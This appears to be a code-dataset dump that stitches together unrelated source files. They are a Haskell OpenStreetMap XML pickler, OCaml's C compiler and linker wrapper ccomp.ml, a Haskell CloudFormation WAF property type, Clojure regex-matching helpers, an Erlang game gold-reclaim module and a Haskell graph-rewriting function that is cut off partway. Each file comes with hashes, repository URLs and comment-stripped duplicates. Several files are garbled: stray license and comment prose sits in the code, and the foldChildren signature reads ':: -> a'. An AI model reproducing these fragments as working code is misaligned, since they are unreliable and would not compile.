module Data.Geo.OSM.Children
(
Children
, osmUser
, osmGpxFile
, osmApi
, osmChangeset
, osmNodeWayRelation
, foldChildren
) where
import Text.XML.HXT.Arrow.Pickle
import Data.Geo.OSM.User
import Data.Geo.OSM.Preferences
import Data.Geo.OSM.GpxFile
import Data.Geo.OSM.Api
import Data.Geo.OSM.Changeset
import Data.Geo.OSM.NodeWayRelation
| The children elements of the @osm@ element of a OSM file .
data Children =
User User
| Preferences Preferences
| GpxFile GpxFile
| Api Api
| Changeset Changeset
| NWR [NodeWayRelation]
deriving Eq
instance XmlPickler Children where
xpickle =
xpAlt (\r -> case r of
User _ -> 0
Preferences _ -> 1
GpxFile _ -> 2
Api _ -> 3
Changeset _ -> 4
NWR _ -> 5) [xpWrap (User, \(User u) -> u) xpickle,
xpWrap (Preferences, \(Preferences p) -> p) xpickle,
xpWrap (GpxFile, \(GpxFile f) -> f) xpickle,
xpWrap (Api, \(Api a) -> a) xpickle,
xpWrap (Changeset, \(Changeset c) -> c) xpickle,
xpWrap (NWR, \(NWR k) -> k) (xpList xpickle)]
instance Show Children where
show =
showPickled []
osmUser ::
User
-> Children
osmUser =
User
osmGpxFile ::
GpxFile
-> Children
osmGpxFile =
GpxFile
osmApi ::
Api
-> Children
osmApi =
Api
osmChangeset ::
Changeset
-> Children
osmChangeset =
Changeset
osmNodeWayRelation ::
[NodeWayRelation]
-> Children
osmNodeWayRelation =
NWR
foldChildren ::
-> a
foldChildren z _ _ _ _ _ (User u) =
z u
foldChildren _ z _ _ _ _ (Preferences p) =
z p
foldChildren _ _ z _ _ _ (GpxFile f) =
z f
foldChildren _ _ _ z _ _ (Api a) =
z a
foldChildren _ _ _ _ z _ (Changeset c) =
z c
foldChildren _ _ _ _ _ z (NWR k) =
z k
|
2f00e024c3712d0da4a643b44bb7c3251c02d346ec653a048547299f8855883e | thelema/ocaml-community | ccomp.ml | (***********************************************************************)
(* *)
(* OCaml *)
(* *)
, projet Cristal , INRIA Rocquencourt
(* *)
Copyright 1996 Institut National de Recherche en Informatique et
en Automatique . All rights reserved . This file is distributed
under the terms of the Q Public License version 1.0 .
(* *)
(***********************************************************************)
(* Compiling C files and building C libraries *)
let command cmdline =
if !Clflags.verbose then begin
prerr_string "+ ";
prerr_string cmdline;
prerr_newline()
end;
Sys.command cmdline
let run_command cmdline = ignore(command cmdline)
Build @responsefile to work around Windows limitations on
command - line length
command-line length *)
let build_diversion lst =
let (responsefile, oc) = Filename.open_temp_file "camlresp" "" in
List.iter (fun f -> Printf.fprintf oc "%s\n" f) lst;
close_out oc;
at_exit (fun () -> Misc.remove_file responsefile);
"@" ^ responsefile
let quote_files lst =
let lst = List.filter (fun f -> f <> "") lst in
let quoted = List.map Filename.quote lst in
let s = String.concat " " quoted in
if String.length s >= 4096 && Sys.os_type = "Win32"
then build_diversion quoted
else s
let quote_prefixed pr lst =
let lst = List.filter (fun f -> f <> "") lst in
let lst = List.map (fun f -> pr ^ f) lst in
quote_files lst
let quote_optfile = function
| None -> ""
| Some f -> Filename.quote f
let compile_file name =
command
(Printf.sprintf
"%s -c %s %s %s %s"
(match !Clflags.c_compiler with
| Some cc -> cc
| None ->
if !Clflags.native_code
then Config.native_c_compiler
else Config.bytecomp_c_compiler)
(String.concat " " (List.rev !Clflags.ccopts))
(quote_prefixed "-I" (List.rev !Clflags.include_dirs))
(Clflags.std_include_flag "-I")
(Filename.quote name))
let create_archive archive file_list =
Misc.remove_file archive;
let quoted_archive = Filename.quote archive in
match Config.ccomp_type with
"msvc" ->
command(Printf.sprintf "link /lib /nologo /out:%s %s"
quoted_archive (quote_files file_list))
| _ ->
assert(String.length Config.ar > 0);
let r1 =
command(Printf.sprintf "%s rc %s %s"
Config.ar quoted_archive (quote_files file_list)) in
if r1 <> 0 || String.length Config.ranlib = 0
then r1
else command(Config.ranlib ^ " " ^ quoted_archive)
let expand_libname name =
if String.length name < 2 || String.sub name 0 2 <> "-l"
then name
else begin
let libname =
"lib" ^ String.sub name 2 (String.length name - 2) ^ Config.ext_lib in
try
Misc.find_in_path !Config.load_path libname
with Not_found ->
libname
end
type link_mode =
| Exe
| Dll
| MainDll
| Partial
let call_linker mode output_name files extra =
let files = quote_files files in
let cmd =
if mode = Partial then
Printf.sprintf "%s%s %s %s"
Config.native_pack_linker
(Filename.quote output_name)
files
extra
else
Printf.sprintf "%s -o %s %s %s %s %s %s %s"
(match !Clflags.c_compiler, mode with
| Some cc, _ -> cc
| None, Exe -> Config.mkexe
| None, Dll -> Config.mkdll
| None, MainDll -> Config.mkmaindll
| None, Partial -> assert false
)
(Filename.quote output_name)
(if !Clflags.gprofile then Config.cc_profile else "")
( Clflags.std_include_flag " -I " )
(quote_prefixed "-L" !Config.load_path)
(String.concat " " (List.rev !Clflags.ccopts))
files
extra
in
command cmd = 0
| null | https://raw.githubusercontent.com/thelema/ocaml-community/ed0a2424bbf13d1b33292725e089f0d7ba94b540/utils/ccomp.ml | ocaml | *********************************************************************
OCaml
*********************************************************************
Compiling C files and building C libraries | , projet Cristal , INRIA Rocquencourt
Copyright 1996 Institut National de Recherche en Informatique et
en Automatique . All rights reserved . This file is distributed
under the terms of the Q Public License version 1.0 .
let command cmdline =
if !Clflags.verbose then begin
prerr_string "+ ";
prerr_string cmdline;
prerr_newline()
end;
Sys.command cmdline
let run_command cmdline = ignore(command cmdline)
Build @responsefile to work around Windows limitations on
command - line length
command-line length *)
let build_diversion lst =
let (responsefile, oc) = Filename.open_temp_file "camlresp" "" in
List.iter (fun f -> Printf.fprintf oc "%s\n" f) lst;
close_out oc;
at_exit (fun () -> Misc.remove_file responsefile);
"@" ^ responsefile
let quote_files lst =
let lst = List.filter (fun f -> f <> "") lst in
let quoted = List.map Filename.quote lst in
let s = String.concat " " quoted in
if String.length s >= 4096 && Sys.os_type = "Win32"
then build_diversion quoted
else s
let quote_prefixed pr lst =
let lst = List.filter (fun f -> f <> "") lst in
let lst = List.map (fun f -> pr ^ f) lst in
quote_files lst
let quote_optfile = function
| None -> ""
| Some f -> Filename.quote f
let compile_file name =
command
(Printf.sprintf
"%s -c %s %s %s %s"
(match !Clflags.c_compiler with
| Some cc -> cc
| None ->
if !Clflags.native_code
then Config.native_c_compiler
else Config.bytecomp_c_compiler)
(String.concat " " (List.rev !Clflags.ccopts))
(quote_prefixed "-I" (List.rev !Clflags.include_dirs))
(Clflags.std_include_flag "-I")
(Filename.quote name))
let create_archive archive file_list =
Misc.remove_file archive;
let quoted_archive = Filename.quote archive in
match Config.ccomp_type with
"msvc" ->
command(Printf.sprintf "link /lib /nologo /out:%s %s"
quoted_archive (quote_files file_list))
| _ ->
assert(String.length Config.ar > 0);
let r1 =
command(Printf.sprintf "%s rc %s %s"
Config.ar quoted_archive (quote_files file_list)) in
if r1 <> 0 || String.length Config.ranlib = 0
then r1
else command(Config.ranlib ^ " " ^ quoted_archive)
let expand_libname name =
if String.length name < 2 || String.sub name 0 2 <> "-l"
then name
else begin
let libname =
"lib" ^ String.sub name 2 (String.length name - 2) ^ Config.ext_lib in
try
Misc.find_in_path !Config.load_path libname
with Not_found ->
libname
end
type link_mode =
| Exe
| Dll
| MainDll
| Partial
let call_linker mode output_name files extra =
let files = quote_files files in
let cmd =
if mode = Partial then
Printf.sprintf "%s%s %s %s"
Config.native_pack_linker
(Filename.quote output_name)
files
extra
else
Printf.sprintf "%s -o %s %s %s %s %s %s %s"
(match !Clflags.c_compiler, mode with
| Some cc, _ -> cc
| None, Exe -> Config.mkexe
| None, Dll -> Config.mkdll
| None, MainDll -> Config.mkmaindll
| None, Partial -> assert false
)
(Filename.quote output_name)
(if !Clflags.gprofile then Config.cc_profile else "")
( Clflags.std_include_flag " -I " )
(quote_prefixed "-L" !Config.load_path)
(String.concat " " (List.rev !Clflags.ccopts))
files
extra
in
command cmd = 0
|
e490cb7e0cd0bb3a568f095c19aef2af0d25af8b84306f61fc5369d8cb9b4f93 | mbj/stratosphere | FieldToMatchProperty.hs | module Stratosphere.WAFRegional.SizeConstraintSet.FieldToMatchProperty (
FieldToMatchProperty(..), mkFieldToMatchProperty
) where
import qualified Data.Aeson as JSON
import qualified Stratosphere.Prelude as Prelude
import Stratosphere.Property
import Stratosphere.ResourceProperties
import Stratosphere.Value
data FieldToMatchProperty
= FieldToMatchProperty {data' :: (Prelude.Maybe (Value Prelude.Text)),
type' :: (Value Prelude.Text)}
mkFieldToMatchProperty ::
Value Prelude.Text -> FieldToMatchProperty
mkFieldToMatchProperty type'
= FieldToMatchProperty {type' = type', data' = Prelude.Nothing}
instance ToResourceProperties FieldToMatchProperty where
toResourceProperties FieldToMatchProperty {..}
= ResourceProperties
{awsType = "AWS::WAFRegional::SizeConstraintSet.FieldToMatch",
supportsTags = Prelude.False,
properties = Prelude.fromList
((Prelude.<>)
["Type" JSON..= type']
(Prelude.catMaybes [(JSON..=) "Data" Prelude.<$> data']))}
instance JSON.ToJSON FieldToMatchProperty where
toJSON FieldToMatchProperty {..}
= JSON.object
(Prelude.fromList
((Prelude.<>)
["Type" JSON..= type']
(Prelude.catMaybes [(JSON..=) "Data" Prelude.<$> data'])))
instance Property "Data" FieldToMatchProperty where
type PropertyType "Data" FieldToMatchProperty = Value Prelude.Text
set newValue FieldToMatchProperty {..}
= FieldToMatchProperty {data' = Prelude.pure newValue, ..}
instance Property "Type" FieldToMatchProperty where
type PropertyType "Type" FieldToMatchProperty = Value Prelude.Text
set newValue FieldToMatchProperty {..}
= FieldToMatchProperty {type' = newValue, ..} | null | https://raw.githubusercontent.com/mbj/stratosphere/c70f301715425247efcda29af4f3fcf7ec04aa2f/services/wafregional/gen/Stratosphere/WAFRegional/SizeConstraintSet/FieldToMatchProperty.hs | haskell | module Stratosphere.WAFRegional.SizeConstraintSet.FieldToMatchProperty (
FieldToMatchProperty(..), mkFieldToMatchProperty
) where
import qualified Data.Aeson as JSON
import qualified Stratosphere.Prelude as Prelude
import Stratosphere.Property
import Stratosphere.ResourceProperties
import Stratosphere.Value
data FieldToMatchProperty
= FieldToMatchProperty {data' :: (Prelude.Maybe (Value Prelude.Text)),
type' :: (Value Prelude.Text)}
mkFieldToMatchProperty ::
Value Prelude.Text -> FieldToMatchProperty
mkFieldToMatchProperty type'
= FieldToMatchProperty {type' = type', data' = Prelude.Nothing}
instance ToResourceProperties FieldToMatchProperty where
toResourceProperties FieldToMatchProperty {..}
= ResourceProperties
{awsType = "AWS::WAFRegional::SizeConstraintSet.FieldToMatch",
supportsTags = Prelude.False,
properties = Prelude.fromList
((Prelude.<>)
["Type" JSON..= type']
(Prelude.catMaybes [(JSON..=) "Data" Prelude.<$> data']))}
instance JSON.ToJSON FieldToMatchProperty where
toJSON FieldToMatchProperty {..}
= JSON.object
(Prelude.fromList
((Prelude.<>)
["Type" JSON..= type']
(Prelude.catMaybes [(JSON..=) "Data" Prelude.<$> data'])))
instance Property "Data" FieldToMatchProperty where
type PropertyType "Data" FieldToMatchProperty = Value Prelude.Text
set newValue FieldToMatchProperty {..}
= FieldToMatchProperty {data' = Prelude.pure newValue, ..}
instance Property "Type" FieldToMatchProperty where
type PropertyType "Type" FieldToMatchProperty = Value Prelude.Text
set newValue FieldToMatchProperty {..}
= FieldToMatchProperty {type' = newValue, ..} | |
8acd1759d4431753194c0ea764512d7ec2cf499107d53cc6a10a0d343435090c | twosigma/Cook | regexp_tools.clj | ;;
Copyright ( c ) Two Sigma Open Source , LLC
;;
Licensed under the Apache License , Version 2.0 ( the " License " ) ;
;; you may not use this file except in compliance with the License.
;; You may obtain a copy of the License at
;;
;; -2.0
;;
;; Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an " AS IS " BASIS ,
;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
;; See the License for the specific language governing permissions and
;; limitations under the License.
;;
(ns cook.regexp-tools
(:require [clojure.tools.logging :as log]))
(defn match-based-on-regexp
"Given a list of dictionaries [{:<regexp-name> <regexp> :<field-name> <field>} {:<regexp-name> <regexp> :<field-name> <field>} ...], match-list,
a key <field-name> and <regexp-name> name, return the first matching <field> where the <regexp> matches the key."
[regexp-name field-name match-list key]
(try
(-> match-list
(->> (filter (fn [map]
(let [regexp (get map regexp-name)
pattern (re-pattern regexp)]
(re-find pattern key)))))
first
(get field-name))
(catch Exception e
(throw (ex-info "Failed matching key" {:regexp-name regexp-name :field-name field-name :match-list match-list :key key} e)))))
(defn match-based-on-pool-name
"Given a list of dictionaries [{:pool-regexp .. :field ...} {:pool-regexp .. :field ...}
a pool name and a <field> name, return the first matching <field> where the regexp matches the pool name."
[match-list effective-pool-name field & {:keys [default-value] :or {default-value nil}}]
(let [value (match-based-on-regexp
:pool-regex
field
match-list
effective-pool-name)]
(if (some? value)
value
default-value)))
| null | https://raw.githubusercontent.com/twosigma/Cook/9e561b847827adf2a775220d1fc435d8089fc41d/scheduler/src/cook/regexp_tools.clj | clojure |
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
-2.0
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| Copyright ( c ) Two Sigma Open Source , LLC
distributed under the License is distributed on an " AS IS " BASIS ,
(ns cook.regexp-tools
(:require [clojure.tools.logging :as log]))
(defn match-based-on-regexp
"Given a list of dictionaries [{:<regexp-name> <regexp> :<field-name> <field>} {:<regexp-name> <regexp> :<field-name> <field>} ...], match-list,
a key <field-name> and <regexp-name> name, return the first matching <field> where the <regexp> matches the key."
[regexp-name field-name match-list key]
(try
(-> match-list
(->> (filter (fn [map]
(let [regexp (get map regexp-name)
pattern (re-pattern regexp)]
(re-find pattern key)))))
first
(get field-name))
(catch Exception e
(throw (ex-info "Failed matching key" {:regexp-name regexp-name :field-name field-name :match-list match-list :key key} e)))))
(defn match-based-on-pool-name
"Given a list of dictionaries [{:pool-regexp .. :field ...} {:pool-regexp .. :field ...}
a pool name and a <field> name, return the first matching <field> where the regexp matches the pool name."
[match-list effective-pool-name field & {:keys [default-value] :or {default-value nil}}]
(let [value (match-based-on-regexp
:pool-regex
field
match-list
effective-pool-name)]
(if (some? value)
value
default-value)))
|
54616dbab704494f1a8909fc6a0e79dac9c814ebbc57b279279162f3fafb8698 | BitGameEN/bitgamex | lib_game.erl | %%%--------------------------------------
@Module :
%%% @Description: 游戏相关处理
%%%--------------------------------------
-module(lib_game).
-export([set_gamesvr_num/1, gamesvr_num/0, game_hard_coef/1, add_reclaimed_gold/3, put_gold_drain_type_and_drain_id/3]).
-export([get_hash_id/1]).
-include("common.hrl").
-include("record_usr_game.hrl").
-include("record_usr_game_reclaimed_gold.hrl").
-include("record_log_gold_reclaimed.hrl").
% game服务器数量的缓存key
-define(GAMESVR_NUM_CACHE_KEY, <<"gamesvr_num_cache_key">>).
set_gamesvr_num(Num) ->
cache:set(?GAMESVR_NUM_CACHE_KEY, Num).
gamesvr_num() ->
case catch cache:get(?GAMESVR_NUM_CACHE_KEY) of
{true, Cas, Val} -> Val;
_ -> 1
end.
game_hard_coef(GameId) ->
case usr_game:get_one(GameId) of
#usr_game{hard_coef = Coef} -> Coef;
_ -> 1.0
end.
add_reclaimed_gold(GameId, GoldType, 0) ->
ok;
add_reclaimed_gold(GameId, GoldType, DeltaGold) ->
{true, Cas} = lock(GameId),
try
GameReclaimedGold =
case usr_game_reclaimed_gold:get_one(GameId) of
[] ->
R = #usr_game_reclaimed_gold{game_id = GameId, gold = <<"{}">>, time = util:unixtime()},
usr_game_reclaimed_gold:set_one(R),
R;
R_ -> R_
end,
RawGold = GameReclaimedGold#usr_game_reclaimed_gold.gold,
OldGold = ?G(RawGold, GoldType),
NewGold = OldGold + DeltaGold,
case NewGold < 0 of
true -> throw({?ERRNO_GOLD_NOT_ENOUGH, <<"reclaimed gold not enough">>});
false -> void
end,
usr_game_reclaimed_gold:set_one(GameReclaimedGold#usr_game_reclaimed_gold{gold = ?G(RawGold, GoldType, NewGold), time = util:unixtime()}),
LogR = #log_gold_reclaimed{
game_id = GameId,
gold_type = GoldType,
delta = DeltaGold,
old_value = OldGold,
new_value = NewGold,
drain_type = case get(game_gold_drain_type) of undefined -> <<>>; V -> V end,
drain_id = case get(game_gold_drain_id) of undefined -> <<>>; V when is_binary(V) -> V; V -> ?T2B(V) end,
drain_count = case get(game_gold_drain_count) of undefined -> 0; V -> V end,
time = util:unixtime(),
call_flow = get_call_flow(get(game_gold_drain_type))
},
spawn(fun() -> log_gold_reclaimed:set_one(LogR) end),
unlock(GameId, Cas),
ok
catch
throw:{ErrNo, ErrMsg} when is_integer(ErrNo), is_binary(ErrMsg) ->
unlock(GameId, Cas),
throw({ErrNo, ErrMsg});
_:ExceptionErr ->
unlock(GameId, Cas),
?ERR("add_reclaimed_gold exception:~nerr_msg=~p~nstack=~p~n", [ExceptionErr, erlang:get_stacktrace()]),
throw({?ERRNO_EXCEPTION, ?T2B(ExceptionErr)})
end.
% 锁定成功,返回{true, Cas}
lock(GameId) ->
LockKey = cache_lock_key(GameId),
case cache:get_and_lock(LockKey) of
false ->
cache:set(LockKey, <<>>),
lock(GameId);
{true, Cas, _} ->
{true, Cas}
end.
unlock(GameId, Cas) ->
cache:unlock(cache_lock_key(GameId), Cas).
cache_lock_key(GameId) ->
list_to_binary(io_lib:format(<<"lock_game_reclaimed_gold_~p">>, [GameId])).
get_call_flow(undefined) ->
{current_stacktrace, Stack} = erlang:process_info(self(), current_stacktrace),
[_, _ | RestStack] = Stack,
Calls = [{Module, Function} || {Module, Function, Arity, Location} <- RestStack, Module =/= proc_lib],
Res = ?T2B(Calls),
binary:replace(Res, <<"'">>, <<"">>, [global]);
get_call_flow(DrainType) ->
<<>>.
put_gold_drain_type_and_drain_id(DrainType, DrainId, DrainCount) ->
put(game_gold_drain_type, DrainType),
put(game_gold_drain_id, DrainId),
put(game_gold_drain_count, DrainCount),
ok.
clear_gold_drain_type_and_drain_id() ->
erase(game_gold_drain_type),
erase(game_gold_drain_id),
erase(game_gold_drain_count),
ok.
get_hash_id(GameId) ->
GameIdBin = integer_to_binary(GameId),
list_to_binary("bgg" ++ util:md5(<<"BitGameGameId", GameIdBin/binary, "BIT.GAME.GAME@2018.6.25.17.29.15~Zgc">>)).
| null | https://raw.githubusercontent.com/BitGameEN/bitgamex/151ba70a481615379f9648581a5d459b503abe19/src/lib/lib_game.erl | erlang | --------------------------------------
@Description: 游戏相关处理
--------------------------------------
game服务器数量的缓存key
锁定成功,返回{true, Cas}
| @Module :
-module(lib_game).
-export([set_gamesvr_num/1, gamesvr_num/0, game_hard_coef/1, add_reclaimed_gold/3, put_gold_drain_type_and_drain_id/3]).
-export([get_hash_id/1]).
-include("common.hrl").
-include("record_usr_game.hrl").
-include("record_usr_game_reclaimed_gold.hrl").
-include("record_log_gold_reclaimed.hrl").
-define(GAMESVR_NUM_CACHE_KEY, <<"gamesvr_num_cache_key">>).
set_gamesvr_num(Num) ->
cache:set(?GAMESVR_NUM_CACHE_KEY, Num).
gamesvr_num() ->
case catch cache:get(?GAMESVR_NUM_CACHE_KEY) of
{true, Cas, Val} -> Val;
_ -> 1
end.
game_hard_coef(GameId) ->
case usr_game:get_one(GameId) of
#usr_game{hard_coef = Coef} -> Coef;
_ -> 1.0
end.
add_reclaimed_gold(GameId, GoldType, 0) ->
ok;
add_reclaimed_gold(GameId, GoldType, DeltaGold) ->
{true, Cas} = lock(GameId),
try
GameReclaimedGold =
case usr_game_reclaimed_gold:get_one(GameId) of
[] ->
R = #usr_game_reclaimed_gold{game_id = GameId, gold = <<"{}">>, time = util:unixtime()},
usr_game_reclaimed_gold:set_one(R),
R;
R_ -> R_
end,
RawGold = GameReclaimedGold#usr_game_reclaimed_gold.gold,
OldGold = ?G(RawGold, GoldType),
NewGold = OldGold + DeltaGold,
case NewGold < 0 of
true -> throw({?ERRNO_GOLD_NOT_ENOUGH, <<"reclaimed gold not enough">>});
false -> void
end,
usr_game_reclaimed_gold:set_one(GameReclaimedGold#usr_game_reclaimed_gold{gold = ?G(RawGold, GoldType, NewGold), time = util:unixtime()}),
LogR = #log_gold_reclaimed{
game_id = GameId,
gold_type = GoldType,
delta = DeltaGold,
old_value = OldGold,
new_value = NewGold,
drain_type = case get(game_gold_drain_type) of undefined -> <<>>; V -> V end,
drain_id = case get(game_gold_drain_id) of undefined -> <<>>; V when is_binary(V) -> V; V -> ?T2B(V) end,
drain_count = case get(game_gold_drain_count) of undefined -> 0; V -> V end,
time = util:unixtime(),
call_flow = get_call_flow(get(game_gold_drain_type))
},
spawn(fun() -> log_gold_reclaimed:set_one(LogR) end),
unlock(GameId, Cas),
ok
catch
throw:{ErrNo, ErrMsg} when is_integer(ErrNo), is_binary(ErrMsg) ->
unlock(GameId, Cas),
throw({ErrNo, ErrMsg});
_:ExceptionErr ->
unlock(GameId, Cas),
?ERR("add_reclaimed_gold exception:~nerr_msg=~p~nstack=~p~n", [ExceptionErr, erlang:get_stacktrace()]),
throw({?ERRNO_EXCEPTION, ?T2B(ExceptionErr)})
end.
lock(GameId) ->
LockKey = cache_lock_key(GameId),
case cache:get_and_lock(LockKey) of
false ->
cache:set(LockKey, <<>>),
lock(GameId);
{true, Cas, _} ->
{true, Cas}
end.
unlock(GameId, Cas) ->
cache:unlock(cache_lock_key(GameId), Cas).
cache_lock_key(GameId) ->
list_to_binary(io_lib:format(<<"lock_game_reclaimed_gold_~p">>, [GameId])).
get_call_flow(undefined) ->
{current_stacktrace, Stack} = erlang:process_info(self(), current_stacktrace),
[_, _ | RestStack] = Stack,
Calls = [{Module, Function} || {Module, Function, Arity, Location} <- RestStack, Module =/= proc_lib],
Res = ?T2B(Calls),
binary:replace(Res, <<"'">>, <<"">>, [global]);
get_call_flow(DrainType) ->
<<>>.
put_gold_drain_type_and_drain_id(DrainType, DrainId, DrainCount) ->
put(game_gold_drain_type, DrainType),
put(game_gold_drain_id, DrainId),
put(game_gold_drain_count, DrainCount),
ok.
clear_gold_drain_type_and_drain_id() ->
erase(game_gold_drain_type),
erase(game_gold_drain_id),
erase(game_gold_drain_count),
ok.
get_hash_id(GameId) ->
GameIdBin = integer_to_binary(GameId),
list_to_binary("bgg" ++ util:md5(<<"BitGameGameId", GameIdBin/binary, "BIT.GAME.GAME@2018.6.25.17.29.15~Zgc">>)).
|
e38ff12a39c930c5b8ffd373f3b5b5616d3d9023f5fcdbcf7cf5a0f084e9046b | Verites/verigraph | FinalPullbackComplement.hs | module Category.TypedGraph.FinalPullbackComplement where
import Abstract.Category.FinalPullbackComplement
import Abstract.Category.FinitaryCategory
import Category.TypedGraph.Cocomplete ()
import Data.Graphs as G
import qualified Data.Graphs.Morphism as GM
import Data.TypedGraph.Morphism
instance FinalPullbackComplement (TypedGraphMorphism a b) where
-- @
-- l
-- K──────▶L
-- │ V
k │ ( 1 ) │ m
-- ▼ ▼
-- D──────▶A
-- l'
-- @
--
-- This function receives m and l, it creates (k,l') as the
the final pullback complement on ( 1 ) .
--
-- __morphism m must be injective__
--
The algorithm follows Construction 6 of Sesqui - pushout rewriting .
-- Available on:
-- -due.de/publications/koenig/icgt06b.pdf
--
-- It is a naive implementation focused on correction and not performance.
-- Performance may be reasonable for epi pairs rewrite, but poor when large contexts.
--
-- The resulting graph D contains a copy of K, a copy of the largest
-- subgraph of A which is not in the image of m, and a suitable number
-- of copies of each edge of A incident to a node in m(l(K)):
-- this has the effect of "cloning" part of A.
--
This function is divided in four steps ,
first two for nodes and the lasts for edges .
calculateFinalPullbackComplement m l = step4
where
typedGraphK = domain l
typedGraphA = codomain m
graphK = domain typedGraphK
graphA = domain typedGraphA
edgeTypeInK = GM.applyEdgeIdUnsafe typedGraphK
edgeTypeInA = GM.applyEdgeIdUnsafe typedGraphA
nodeTypeInK = GM.applyNodeIdUnsafe typedGraphK
nodeTypeInA = GM.applyNodeIdUnsafe typedGraphA
typeGraph = codomain typedGraphK
( k : K->D , l':D->A ) with D as empty .
initD = GM.empty empty typeGraph
initK = buildTypedGraphMorphism typedGraphK initD (GM.empty graphK empty)
initL' = buildTypedGraphMorphism initD typedGraphA (GM.empty empty graphA)
Step1 adds in D a copy of the nodes of K.
step1 = foldr updateNodesFromK (initK,initL') nodesAddFromK
nodesAddFromK = zip (nodeIdsFromDomain l) ([0..]::[Int])
updateNodesFromK (n,newId) (k,l') = (updatedK2,updatedL')
where
newNode = NodeId newId
typeN = nodeTypeInK n
appliedL = applyNodeIdUnsafe l n
appliedA = applyNodeIdUnsafe m appliedL
updatedK = createNodeOnCodomain newNode typeN k
updatedK2 = untypedUpdateNodeRelation n newNode updatedK
updatedL' = createNodeOnDomain newNode typeN appliedA l'
Step2 adds in D the nodes out of the image of m.
step2 = foldr updateNodesFromA step1 nodesAddFromMatch
nodesAddFromMatch = zip (orphanTypedNodeIds m) ([(length nodesAddFromK)..]::[Int])
updateNodesFromA (n,newId) (k,l') = (updatedK,updatedL')
where
newNode = NodeId newId
typeN = nodeTypeInA n
updatedK = createNodeOnCodomain newNode typeN k
updatedL' = createNodeOnDomain newNode typeN n l'
Step3 adds in D a copy of the edges of K.
step3@(_,edgesL') = foldr updateEdgesFromK step2 edgesAddFromK
edgesAddFromK = zip (edgesFromDomain l) ([0..]::[Int])
updateEdgesFromK (e,newId) (k,l') = (updatedK2,updatedL')
where
newEdge = EdgeId newId
appliedL = applyEdgeIdUnsafe l (edgeId e)
appliedA = applyEdgeIdUnsafe m appliedL
typeE = edgeTypeInK (edgeId e)
src = applyNodeIdUnsafe k (sourceId e)
tgt = applyNodeIdUnsafe k (targetId e)
updatedK = createEdgeOnCodomain newEdge src tgt typeE k
updatedK2 = updateEdgeRelation (edgeId e) newEdge updatedK
updatedL' = createEdgeOnDomain newEdge src tgt typeE appliedA l'
-- Step4 adds in D a replication of edges out of the image of m,
where source and target nodes may have been cloned in D.
step4 = foldr updateEdgesFromA step3 edgesAddFromMatch
edgesAddFromMatch = zip edgesFromA ([(length edgesAddFromK)..]::[Int])
where
edgesFromA = [(edgeId e, u, v) |
e <- orphanTypedEdges m,
u <- nodeIdsFromDomain edgesL',
v <- nodeIdsFromDomain edgesL',
sourceId e == applyNodeIdUnsafe edgesL' u,
targetId e == applyNodeIdUnsafe edgesL' v]
updateEdgesFromA ((e,u,v),newId) (k,l') = (updatedK,updatedL')
where
newEdge = EdgeId newId
typeE = edgeTypeInA e
updatedK = createEdgeOnCodomain newEdge u v typeE k
updatedL' = createEdgeOnDomain newEdge u v typeE e l'
hasFinalPullbackComplement (Monomorphism, _) _ = True
hasFinalPullbackComplement _ _ =
error "Final pullback complement is not implemented for non monomorphic matches"
| null | https://raw.githubusercontent.com/Verites/verigraph/754ec08bf4a55ea7402d8cd0705e58b1d2c9cd67/src/library/Category/TypedGraph/FinalPullbackComplement.hs | haskell | @
l
K──────▶L
│ V
▼ ▼
D──────▶A
l'
@
This function receives m and l, it creates (k,l') as the
__morphism m must be injective__
Available on:
-due.de/publications/koenig/icgt06b.pdf
It is a naive implementation focused on correction and not performance.
Performance may be reasonable for epi pairs rewrite, but poor when large contexts.
The resulting graph D contains a copy of K, a copy of the largest
subgraph of A which is not in the image of m, and a suitable number
of copies of each edge of A incident to a node in m(l(K)):
this has the effect of "cloning" part of A.
Step4 adds in D a replication of edges out of the image of m, | module Category.TypedGraph.FinalPullbackComplement where
import Abstract.Category.FinalPullbackComplement
import Abstract.Category.FinitaryCategory
import Category.TypedGraph.Cocomplete ()
import Data.Graphs as G
import qualified Data.Graphs.Morphism as GM
import Data.TypedGraph.Morphism
instance FinalPullbackComplement (TypedGraphMorphism a b) where
k │ ( 1 ) │ m
the final pullback complement on ( 1 ) .
The algorithm follows Construction 6 of Sesqui - pushout rewriting .
This function is divided in four steps ,
first two for nodes and the lasts for edges .
calculateFinalPullbackComplement m l = step4
where
typedGraphK = domain l
typedGraphA = codomain m
graphK = domain typedGraphK
graphA = domain typedGraphA
edgeTypeInK = GM.applyEdgeIdUnsafe typedGraphK
edgeTypeInA = GM.applyEdgeIdUnsafe typedGraphA
nodeTypeInK = GM.applyNodeIdUnsafe typedGraphK
nodeTypeInA = GM.applyNodeIdUnsafe typedGraphA
typeGraph = codomain typedGraphK
( k : K->D , l':D->A ) with D as empty .
initD = GM.empty empty typeGraph
initK = buildTypedGraphMorphism typedGraphK initD (GM.empty graphK empty)
initL' = buildTypedGraphMorphism initD typedGraphA (GM.empty empty graphA)
Step1 adds in D a copy of the nodes of K.
step1 = foldr updateNodesFromK (initK,initL') nodesAddFromK
nodesAddFromK = zip (nodeIdsFromDomain l) ([0..]::[Int])
updateNodesFromK (n,newId) (k,l') = (updatedK2,updatedL')
where
newNode = NodeId newId
typeN = nodeTypeInK n
appliedL = applyNodeIdUnsafe l n
appliedA = applyNodeIdUnsafe m appliedL
updatedK = createNodeOnCodomain newNode typeN k
updatedK2 = untypedUpdateNodeRelation n newNode updatedK
updatedL' = createNodeOnDomain newNode typeN appliedA l'
Step2 adds in D the nodes out of the image of m.
step2 = foldr updateNodesFromA step1 nodesAddFromMatch
nodesAddFromMatch = zip (orphanTypedNodeIds m) ([(length nodesAddFromK)..]::[Int])
updateNodesFromA (n,newId) (k,l') = (updatedK,updatedL')
where
newNode = NodeId newId
typeN = nodeTypeInA n
updatedK = createNodeOnCodomain newNode typeN k
updatedL' = createNodeOnDomain newNode typeN n l'
Step3 adds in D a copy of the edges of K.
step3@(_,edgesL') = foldr updateEdgesFromK step2 edgesAddFromK
edgesAddFromK = zip (edgesFromDomain l) ([0..]::[Int])
updateEdgesFromK (e,newId) (k,l') = (updatedK2,updatedL')
where
newEdge = EdgeId newId
appliedL = applyEdgeIdUnsafe l (edgeId e)
appliedA = applyEdgeIdUnsafe m appliedL
